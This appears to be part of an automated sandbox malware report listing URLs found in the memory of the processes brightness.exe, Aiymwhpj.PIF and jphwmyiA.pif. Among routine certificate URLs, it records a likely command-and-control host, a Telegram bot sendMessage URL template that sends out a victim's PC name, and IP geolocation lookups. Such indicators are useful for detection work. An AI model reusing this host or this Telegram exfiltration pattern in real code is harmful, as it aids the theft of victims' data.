          Source: brightness.exe, 00000008.00000003.2199216003.000000007F3EF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2207465458.000000007F3AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230785597.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2206791912.0000000021427000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2231404841.00000000215F2000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232007845.0000000021700000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif.8.drString found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
          Source: jphwmyiA.pif, 00000014.00000003.2732557349.000000002D31A000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732597157.000000002D340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crt.sectig
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
          Source: jphwmyiA.pif, 0000000C.00000002.3451586724.0000000028909000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3451586724.000000002893C000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3452191252.000000001D6AF000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732557349.000000002D31A000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732597157.000000002D340000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3452062242.000000002D2A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3441525726.00000000244F4000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3451586724.000000002893C000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3452191252.000000001D6AF000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732557349.000000002D31A000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732597157.000000002D340000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2732629706.000000002D332000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3452062242.000000002D2A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
          Source: brightness.exe, 00000008.00000003.2199216003.000000007F3EF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2207465458.000000007F3AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230785597.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2206791912.0000000021427000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2231404841.00000000215F2000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232007845.0000000021700000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif.8.drString found in binary or memory: http://ocsp.comodoca.com0$
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
          Source: jphwmyiA.pif, 00000014.00000003.2732597157.000000002D340000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3452062242.000000002D2A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0
          Source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0C
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.00000000261D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
          Source: jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.00000000261D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://varders.kozow.com:8081
          Source: brightness.exe, 00000008.00000003.2199216003.000000007F3EF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2207465458.000000007F3AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230785597.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2206791912.0000000021427000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2231404841.00000000215F2000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232007845.0000000021700000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif.8.drString found in binary or memory: http://www.pmail.com0
          Source: jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A536000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4A9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org
          Source: jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A536000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4A9000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A536000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4A9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A536000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4A9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20a
          Source: jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
          Source: jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
          Source: jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://chrome.google.com/webstore?hl=en
          Source: jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
          Source: jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
          Source: jphwmyiA.pif, 0000000C.00000002.3446215142.00000000274A2000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3446431807.000000001B722000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3446220044.000000002B693000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A503000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A50E000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A536000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A413000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A482000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4A9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org
          Source: jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.000000002621F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A413000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A43C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A4BD000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A503000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A50E000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A536000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A482000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4A9000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A43C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.1894
